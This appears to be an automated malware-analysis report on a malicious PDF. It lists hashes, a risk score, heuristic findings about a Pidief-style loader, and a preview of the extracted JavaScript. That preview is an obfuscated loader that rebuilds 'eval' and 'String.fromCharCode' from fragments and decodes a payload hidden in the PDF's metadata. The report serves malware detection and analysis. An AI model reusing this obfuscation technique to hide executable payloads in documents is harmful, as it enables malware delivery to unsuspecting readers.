Malicious PDF — malware analysis report

Static analysis result for SHA-256 3be3a9968b842fc4…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2012-10-03
MD5: 4015c7eeca6a769a7da888f76431ee20 SHA-1: d2315075bd2d40e7447424911a39154253920c24 SHA-256: 3be3a9968b842fc4f76527884ddf8f747f177592059189790305f9222aaa6810
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB060 407 bytes
SHA-256: da8a846f82110dddfd7b825064ae1f7ca51aeda80609cf74dd3804506468fdfd
Preview script
First 1,000 lines of the extracted script
rbq='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
fthh=e('ti'+'tle');
s=fthh.substr(t.length + 8,3)+'str';
q=fthh[s](1,t.length + 7);
lwb=e(v[0].toUpperCase()+'tring.fro'+q);
q=fthh[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	sqk = parseInt(q[i]) + parseInt(q[i+1]);
	rbq += lwb(sqk);
}
e(rbq);

Open this report in the interactive analyzer, or submit your own file for analysis.